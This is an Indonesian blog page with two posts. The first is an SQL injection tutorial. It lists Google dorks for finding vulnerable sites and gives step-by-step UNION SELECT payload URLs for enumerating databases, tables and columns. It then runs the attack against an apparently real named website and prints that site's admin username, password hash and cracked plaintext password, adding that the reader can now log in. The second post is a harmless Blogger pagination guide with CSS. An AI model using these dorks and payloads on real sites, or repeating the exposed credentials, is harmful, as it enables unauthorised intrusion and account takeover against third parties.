Senin, 13 Juni 2011 - 0 Bacotan

SQL Injection

SQL Injection


SqLi Tutorial – Sql Injection Tutorial – Sql Injection Artikel – SQL Injection Article


Sqli (alias Sql Injection atau Structured Query Language Injeksi) adalah langkah pertama dalam entri untuk memanfaatkan atau hacking website. Hal ini mudah dilakukan dan merupakan titik dari awal yang bagus. Sayangnya tutorial yang sedikit rumit sehingga itulah sebabnya ane menulis ini. Sqli pada dasarnya hanyalah suntikan pertanyaan ke dalam database atau menggunakan query untuk mendapatkan bypass otorisasi sebagai sebuah admin.

Untuk Mencari Inject
Mencari SQLI sangat mudah,semua yang perlu ente2 lakukan adalah Googling . Hal pertama yang perlu ente2 lakukan adalah menemukan beberapa dorks
Code:



inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=


inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:forum_bds.php?num=

inurl:game.php?id=

inurl:view_product.php?id=


inurl:newsone.php?id=

inurl:sw_comment.php?id=

inurl:news.php?id=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:news.php?id=

inurl:index.php?id=

inurl:faq2.php?id=

inurl:show_an.php?id=


inurl:preview.php?id=

inurl:download.php?id=

inurl:main.php?id=

inurl:review.php?id=

inurl:read.php?id=

"id=" & intext:"Warning: mysql_fetch_assoc()

"id=" & intext:"Warning: mysql_fetch_array()


"id=" & intext:"Warning: mysql_num_rows()


Lebih lengkap, silakan dicari di Google Dorknya 

PART 1

Pilih salah satu dorks dan menambahkan inurl: sebelum


(Jika mereka belum memiliki itu) dan kemudian salin dan sisipkan

ke google. Pilih salah satu situs dari google dan chek 1-1.

Sebagai contoh url dari halaman ente berada mungkin terlihat seperti ini
Code:


http://www.example.com/index.php?id=3


untuk memeriksa adanya Bug MySQL tinggal tambahin “‘” di akhir URL
contoh
Code:


http://www.example.com/index.php?id=3'

tekan enter sampai ente2 mendapatkan ERROR
Mendapatkan Jumlah Kolom
Setelah ente menemukan situs yg udah di siapin ,langkah pertama yang perlu ente2 ambil adalah


untuk menemukan jumlah kolom. Cara termudah untuk melakukannya adalah

menggunakan pernyataan “order by”. Yang harus ente lakukan adalah meletakkan ORDER BY (angka) -

pada akhir url ente. Jadi seharusnya terlihat seperti ini.
Code:



http://www.example.com/index.php?id=3 ORDER BY (number)--

setelahnya ane ubah jadi bahasa inggris dah..

capek translatenya

wkwkwkwkwkwkwkwkwkw 
Yuk kita lanjutkan ke order by 8– kamu akan mendapatkan sebuah error. Ini membuktikan bahwa table database hanya memiliki 7 kolom, ini dibuktikan bahwa ketika anda melakukan order by lebih dari 7, akan selalu error. Jika kamu memiliki memory yang kurang baik, silakan buka notepad & catat kolom-kolom yang anda temukan.

Menemukan kolom yang dapat di akses


Setelah kita mengetahui kolom yang ada di table database, sekarang kita akan mencari informasi & data apa yang bisa diambil dari sana.

Kita melakukan hal tersebut dengan menggunakan fungsi “UNION” “SELECT” dan NOMOR KOLOM. Kita selipkan seluruhnya dalam URL, seperti contoh berikut:
Code:


http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--

Jangan lupa untuk menyisipkan tanda “-” sebelum code dimulai, jadi sebagai contoh di atas kita selipka tanda “-” didepan angka “3“, nah setelah semua dilakukan, maka akan muncul table yang memiliki isi didalamnya. Catatlah nomor kolom table yang memiliki informasi di dalam database tersebut. Klo lupa, simpan dulu di notepad.

Finding MySQL Database Version

Sebelum kita melanjutkan hal ini, maka yang perlu kita ketahui adalah versi dari database.
URL nya adalah sebagai berikut:
Code:


http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--


Kita ganti angka “1” dengan “@@version” untuk mengetahui informasi versi database, berikut contohnya:
Code:


http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--

Tekan enter, maka anda akan menemukan informasi database yang digunakan.

Hal ini biasanya bekerja pada versi database 5.* keatas.
Finding Database Names


Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version

dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.

Seperti ini contoh URLnya:

Code:


http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--


Hal tersebut akan menunjukkan daftar nama database. Sekarang untuk menemukan database mana yang saat ini dipakai adalah dengan mengganti “group_concat(schema_name)” dengan concat(database()) dan hapus “+ from+information_schema.schemata
Jadi URL nya akan menjadi seperti ini:
Code:


http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--

Selamat, anda telah mendapatkan informasi database yang saat ini digunakan.
Menemukan Nama Table



Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nomor awal dan “–” hapus juga tanda “+” dari “union select“.

Urlnya akan tampak seperti berikut:
Code:


http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--

Nah, hal tersebut akan menampilkan nama table yang digunakan di database.
Menemukan Nama Kolom


Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.


Url akan tampak seperti ini:
Code:


http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--

Hal tersebut akan memunculkan nama table.
Misalkan nama colom seperti berikut:
admin_username

admin_password
Mengambil Informasi Database
Sekarang kita sudah mengetahui “database name, table names, dan colomn names”, kita bisa menyatukannya bersama-sama dan mengeluarkan informasi yang ada di sana, kita lakukan dengan contoh berikut:

Code:


http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--


Sekarang ganti “columnname” dengan kolom yang anda mau ambil informasinta. “0x3a” akan membuat jeda diantara informasi yang anda dapatkan dari masing-masing colom. Jangan lupa juga untuk merubah “databasename.tablename” dengan database dan nama tabel dimana kolom ada di database dan tabel tersebut.
Sebagai contoh:
Code:


http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--

Sekarang anda akan mendapatkan informasi username & database

PART 2

Mari kita coba praktekkan cara diatas!
Sebagai contoh kita mendapatkan target sebagai berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30
Sekarang kita akan melakukan pengecekan apakah website tersebut memiliki vulnerability dengan menambahkan tanda di akhir URL, contohnya sebagai berikut:


Code:
http://www.cocobod.gh/news_details.php?id=30'
Jika kita menemukan error, maka terdapat vulnerability di website tersebut, sebagai contoh:



Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah kolom yang ada di table tersebut.
Kita akan mengetahuinya sampai ada informasi “Unknown Column“.
Lakukan pengecekan dengan menggunakan perintah “order by“.

Kita akan mencoba dari 1……..tak hingga, jadi bisa saja 1,2,3,4,5,6,7,dst.
Kebetulah dalam target ini hanya terdapat 7 kolom dalam table yang ada di database,
Contohnya:


Langkah pengetesannya adalah

Code:
http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column


http://www.cocobod.gh/news_details.php?id=30 order by 8– *>> Unknown column
Hal tersebut membuktikan bahwa tidak ada kolom ke 8 dalam table tersebut, jadi cuman ada 7 kolom.


Langkah selanjutnya adalah, mencari kolom yang dapat di akses!


Kita sudah mengetahui, jumlah kolom adalah 7, kita gunakan perintah “UNION SELECT number,of,columns–” untuk mengatahui kolom mana yang dapat di akses:

Code:



http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7--

Anda akan menemukan seperti gambar berikut:




Binus Hacker Tutorial
Muncul 6, 2, 3 kan? Kolom dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.



Langkah selanjutnya, mencari informasi versi database



SQL Injection bekerja baik pada versi 5.* ke atas, untuk mendapatkan informasi database version, kita masukkan saja “@@version”, pada kolom dimana saja yang bisa dipakai.
Misalkan kolom “6″ kita ganti dengan “@@version”





Code:

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--

Binus Hacker Tutorial

Akan muncul versi database 5.1.39, ini berarti database bisa di inject :)



Mengetahui Database Name



Langsung ajah kita replace kolom yang tadi digunakan “6,2,3″ dibagian mana saja, kita gunakan kolom “6″, kita ganti dengan code berikut “group_concat(schema_name)” , dan jangan lupa tambahkan “from information_schema.schemata–” sesudah kolom terakhir.


Code:


http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--
Binus Hacker Tutorial
Mengatahui Database Yang Dipakai
Langsung ajah ganti “group_concat(schema_name)” dengan “concat(database())” seperti contoh berikut:


Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--
Binus Hacker Tutorial
Selamat, anda telah mengetahui database yang dipakai saat ini adalah “cocobod_gh“.
Mengetahui Nama Tabel


Langsung aja ganti “group_concat(table_name)” dan tambahkan “from information_schema.tables where table_schema=database()–” setelah kolom terakhir.

Code:

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--
Binus Hacker Tutorial
Mengatahui Nama Kolom


Untuk mengetahui nama kolom, kita gunakan query berikut:

group_concat(column_name)

from information_schema.columns where table_schema=database()–
Code:


http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--
Binus Hacker Tutorial
Mengambil Informasi Yang Ada Di Dalam Kolom


Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari kolom yang berada dalam table di database.

Eksekusi perintah berikut:
Code:
http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--
Exploit akan menjadi seperti berikut :
Code:

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from cocobod_gh.coc_admin--
Binus Hacker Tutorial
Dari informasi di atas kita mendapatkan data: “comaster:2c39e3769d300f7e23f8a9e1e21773e7 ,

Silakan check ke MD5 decrypter untuk mendecrypt password -> http://www.md5decrypter.co.uk/ paste MD5 password yang tadi yaitu: “2c39e3769d300f7e23f8a9e1e21773e7“, anda akan medapatkan result seperti dibawah:



Binus Hacker Tutorial
comaster:2c39e3769d300f7e23f8a9e1e21773e7

comaster:cocoadmin4682
username : comaster
password : cocoadmin4682

Selamat, anda sudah bisa login ke page dengan user & password di atas



Credit:BinusHacker Team

Senin, 23 Mei 2011 - 0 Bacotan

( Tutor ):::Membuat Navigasi Nomer dii BlogSpot:::

Tampilannya Silahkan Dipilih Sesuai Selera :
Jalan-Jalan di Forum kesayangan gw, nemu tutor mantap...
ni tutor dari agan Tauruz89.





Tampilannya:























Nah ini caranya :
Caranya:



1. Yang jelas login dulu di blogger

2. Pilih Rancangan >> Edit HTML (Jangan lupa centang Expand Widget Templates)



Lihat Gambar dibwah ini :


Spoiler for gambar:









3. Cari kode :

Code:
</body>
dan copy kode ini diatasnya :

Code:
<script type='text/javascript'>

var home_page=&quot;/&quot;;
var urlactivepage=location.href;
var postperpage=7;
var numshowpage=5;
var upPageWord ='Prev';
var downPageWord ='Next';
</script>
<script src='http://sites.google.com/site/testsajasite/pagenav.js' type='text/javascript'></script>
nah...ditulisan yang ane warnain merah sama biru, ente bisa edit Prev dan Next Teksnya.



Postperpage : Jumlah posting yang pengen ente paparkan di 1 halaman blognya.


Numshowpage : Jumlah nomer yang ada di page navigationnya.

4. Cari kode ini :

Code:
]]></b:skin>
nahhh....sekarang waktunya untuk input kode cssnya sebelum kode


Code:
]]></b:skin>
Kodenya lihat di spoiler bawah


CSS STYLE nya :

     Css nya :





Kodenya :

Code:
.showpageArea {padding: 0 2px;margin-bottom:10px;margin-top:10px;
}

.showpageArea a {border: 1px solid #505050;
color: #000000;font-weight:normal;
padding: 3px 6px !important;
padding: 1px 4px ;margin:0px 4px;
text-decoration: none;
}
.showpageArea a:hover {
font-size:11px;
border: 1px solid #333;
color: #000000;
background-color: #FFFFFF;
}

.showpageNum a {border: 1px solid #505050;
color: #000000;font-weight:normal;
padding: 3px 6px !important;
padding: 1px 4px ;margin:0px 4px;
text-decoration: none;

}
.showpageNum a:hover {
font-size:11px;
border: 1px solid #333;
color: #000000;
background-color: #FFFFFF;

}
.showpagePoint {font-size:11px;
padding: 2px 4px 2px 4px;
margin: 2px;
font-weight: bold;
border: 1px solid #333;
color: #fff;
background-color: #000000;


}

.showpage a:hover {font-size:11px;
border: 1px solid #333;
color: #000000;
background-color: #FFFFFF;

}
.showpageNum a:link,.showpage a:link {
font-size:11px;
padding: 2px 4px 2px 4px;
margin: 2px;
text-decoration: none;
border: 1px solid #0066cc;
color: #0066cc;
background-color: #FFFFFF;}

.showpageNum a:hover {font-size:11px;
border: 1px solid #333;
color: #000000;
background-color: #FFFFFF;
}




Kodenya :




Code:
.showpageArea {
font-family:verdana,arial,helvetica;
color: #fff;
font-size:11px;
margin:10px;
padding:8px 20px;
background: #333;
}
.showpageArea a {
color: #fff;
}
.showpageNum a {
padding: 3px 8px;
margin:0 4px;
text-decoration: none;
background: #666;
}
.showpageNum a:hover {
background: #888;
}

.showpagePoint {
color:#fff;
padding: 3px 8px;
margin: 2px;
font-weight: 700;
background: #da6100;
text-decoration: none;
}

.showpageOf{
margin:0 8px 0 0;
}




Kodenya :

Code:
.showpageArea {
font-family:verdana,arial,helvetica;
color: #000;
font-size:11px;
margin:10px;
}
.showpageArea a {
color: #fff;
}
.showpageNum a {
padding: 3px 8px;
margin:0 4px;
text-decoration: none;
background: #333 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp5.jpg) 0 -50px repeat-x;
}
.showpageNum a:hover {
background: #666 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp5.jpg) 0 -25px repeat-x;
}

.showpagePoint {
color:#fff;
padding: 3px 8px;
margin: 2px;
font-weight: 700;
background: #06a2b9 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp5.jpg) 0 0 repeat-x;
text-decoration: none;
}

.showpageOf{
margin:0 8px 0 0;
}





Kodenya :



Code:
.showpageArea {
font-family:verdana,arial,helvetica;
color: #000;
font-size:11px;
margin:10px;
}
.showpageArea a {
color: #fff;
}
.showpageNum a {
padding: 3px 8px;
margin:0 4px;
text-decoration: none;
background: #333 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp5.jpg) 0 -50px repeat-x;
}
.showpageNum a:hover {
background: #666 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp5.jpg) 0 -25px repeat-x;
}

.showpagePoint {
color:#fff;
padding: 3px 8px;
margin: 2px;
font-weight: 700;
background: #06a2b9 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp5.jpg) 0 0 repeat-x;
text-decoration: none;
}

.showpageOf{
margin:0 8px 0 0;
}




Kodenya :




Code:
.showpageArea {
font-family:verdana,arial,helvetica;
color: #000;
font-size:11px;
margin:10px;
}
.showpageArea a {
color: #fff;
}
.showpageNum a {
padding: 3px 8px;
margin:0 4px;
text-decoration: none;
background: #363636 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp3.jpg) 0 -25px repeat-x;
}
.showpageNum a:hover {
background: #044697 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp3.jpg) 0 -50px repeat-x;
}

.showpagePoint {
color:#fff;
padding: 3px 8px;
margin: 2px;
font-weight: 700;
background: #e30000 url(whttp://i879.photobucket.com/albums/ab351/bloggerblogimage/wp3.jpg) 0 0 repeat-x;
text-decoration: none;
}

.showpageOf{
margin:0 8px 0 0;
}




Kodenya :



Code:
.showpageArea {
font-family:verdana,arial,helvetica;
color: #000;
font-size:11px;
margin:10px;
}
.showpageArea a {
color: #000;
text-shadow:0 1px 2px #fff;
font-weight: 700;
}
.showpageNum a {
padding: 3px 8px;
margin:0 4px;
text-decoration: none;
border:1px solid #919106;
-webkit-border-radius:3px;-moz-border-radius:3px;
background: #ddd url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp2.jpg) 0 -50px repeat-x;
}
.showpageNum a:hover {
border:1px solid #aeae0a;
background: #ccc url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp2.jpg) 0 -25px repeat-x;
}

.showpageOf{
margin:0 8px 0 0;
}

.showpagePoint {
color:#fff;
text-shadow:0 1px 2px #333;
padding: 3px 8px;
margin: 2px;
font-weight: 700;
-webkit-border-radius:3px;-moz-border-radius:3px;
border:1px solid #919106;
background: #666 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp2.jpg) 0 0 repeat-x;
text-decoration: none;
}





Kodenya :

Code:
.showpageArea {
font-family:verdana,arial,helvetica;
color: #000;
font-size:11px;
margin:10px;
}
.showpageArea a {
color: #000;
text-shadow:0 1px 2px #fff;
font-weight: 700;
}
.showpageNum a {
padding: 3px 8px;
margin:0 4px;
text-decoration: none;
border:1px solid #999;
-webkit-border-radius:3px;-moz-border-radius:3px;
background: #ddd url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp1.jpg) 0 -50px repeat-x;
}
.showpageNum a:hover {
border:1px solid #888;
background: #ccc url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp1.jpg) 0 -25px repeat-x;
}

.showpageOf{
margin:0 8px 0 0;
}

.showpagePoint {
color:#fff;
text-shadow:0 1px 2px #333;
padding: 3px 8px;
margin: 2px;
font-weight: 700;
-webkit-border-radius:3px;-moz-border-radius:3px;
border:1px solid #999;
background: #666 url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/wp1.jpg) 0 0 repeat-x;
text-decoration: none;
}




Kodenya :




Code:
.showpageArea a {
text-decoration:underline;
}
.showpageNum a {
text-decoration:none;
border: 1px solid #ccc;
margin:0 3px;
padding:3px;
}
.showpageNum a:hover {
border: 1px solid #ccc;
background-color:#ccc;
}
.showpagePoint {
color:#333;
text-decoration:none;
border: 1px solid #ccc;
background: #ccc;
margin:0 3px;
padding:3px;
}
.showpageOf {
text-decoration:none;
padding:3px;
margin: 0 3px 0 0;
}
.showpage a {
text-decoration:none;
border: 1px solid #ccc;
padding:3px;
}
.showpage a:hover {
text-decoration:none;
}
.showpageNum a:link,.showpage a:link {
text-decoration:none;
color:#333;
}


Yang Harus Di Update :


Yang harus diupdate :




CUSTOM LABEL PAGE NYA




Default blogger biasanya nampilin 20 post per halaman. Untuk merubahnya :



1. Edit HTML ( Jangan Lupa Centang Expandnya)

2. Temuin Kode :

Code:

'data:label.url'
ganti dengan :



Code:
'data:label.url + &quot;?&amp;max-results=7&quot;'

Angka 7 bisa dirubah sesuai selera



3. Simpen